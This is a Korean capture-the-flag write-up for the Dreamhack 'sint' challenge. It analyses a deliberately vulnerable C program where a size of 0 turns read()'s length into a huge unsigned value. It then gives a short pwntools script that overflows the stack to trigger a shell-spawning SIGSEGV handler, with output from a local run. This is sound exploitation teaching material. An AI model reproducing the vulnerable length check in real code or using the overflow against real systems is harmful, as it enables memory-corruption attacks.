

[Dreamhack.io] sint Write-Up

- Platform: Dreamhack
- Date: 2026-07-23 (solved) / 2026-08-21 (written)
- Difficulty: Easy
- Tags: `#pwn` `#signed_overflow` `#integer_underflow` `#return_address_overwrite`

1. Challenge Overview (문제 개요)

📄 문제 요약

- 목표: `get_shell()` 함수 실행 (`system("/bin/sh")` 로 셸 탈취 가능)
- 제공 파일: `sint` , `sint.c`
- 보호 기법 (Checksec):

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
Stripped:  No
```

2. Vulnerability Analysis (취약점 분석)

소스 코드 / 디컴파일 분석

```
void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
```

```
scanf("%d", &size);

if (size > 256 || size < 0)
{
    printf("Buffer Overflow!\n");
    exit(0);
}

printf("Data: ");
read(0, buf, size - 1);

return 0;
}
```

- SIGSEGV 에러가 나게 되면 `get_shell()` 함수가 실행되므로 오버플로우를 일으켜 세그멘테이션 폴트를 일으켜야 된다.
- `size` 를 0 미만 혹은 256 초과로 입력하면 정상적으로 종료되므로, 그렇지 않으면서 세그멘테이션 폴트를 일으켜야 한다.
- `read` 함수의 세 번째 전달인자는 타입이 `size_t` 이다. 이는 부호없는 정수를 받게 되는데, 만약 `size` 에 0을 입력하면 -1를 전달하게 된다.
- 이는 `0xFFFF...FFFF` 가 전달되고, 이 수를 부호 없는 정수로 해석하여 엄청 큰 수가 된다.

3. Exploit Strategy (최종 해결 전략)

✓ 돌파구 (Breakthrough)

`size - 1` 이 음수가 될 수 있도록 `size` 에 0을 입력한 뒤, `RET` 주소에 접근 불가능한 메모리 값을 넣어 `SIGSEGV` 에러를 일으킨다.

1. `size` 변수에 0을 입력한다.
 - `size - 1 = -1` 이므로 `read` 함수는 이 수를 `0xFF...FF` 부호 없는 정수로 해석하여 많은 양의 입력을 받게 된다.
2. `buf` 길이를 초과하는 입력을 전달함으로써 `SIGSEGV` 에러를 일으킨다.

4. Exploit Code (최종 코드)

```
from pwn import *

# p = remote('IP', PORT)
e = ELF('./sint')

p.sendlineafter(b'Size: ', b'0')

payload = b'\xFF' * 0x108
```

```
p.sendlineafter(b'Data: ', payload)
```

```
p.interactive()
```

- 이 페이로드를 통해 정확히 `main` 함수의 `ret` 주소가 `0xFFFFFFFF` 로 설정이 되고, 이는 커널 영역의 주소이므로 프로그램은 `SIGSEGV` 에러를 일으키고, `get_shell` 함수가 실행되어 셸 탈취가 가능하다.
- 아래는 로컬 환경에서 실행한 결과이다.

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
Stripped:  No
[*] Switching to interactive mode
$ ls
sint  sint.c  solve.py
$
```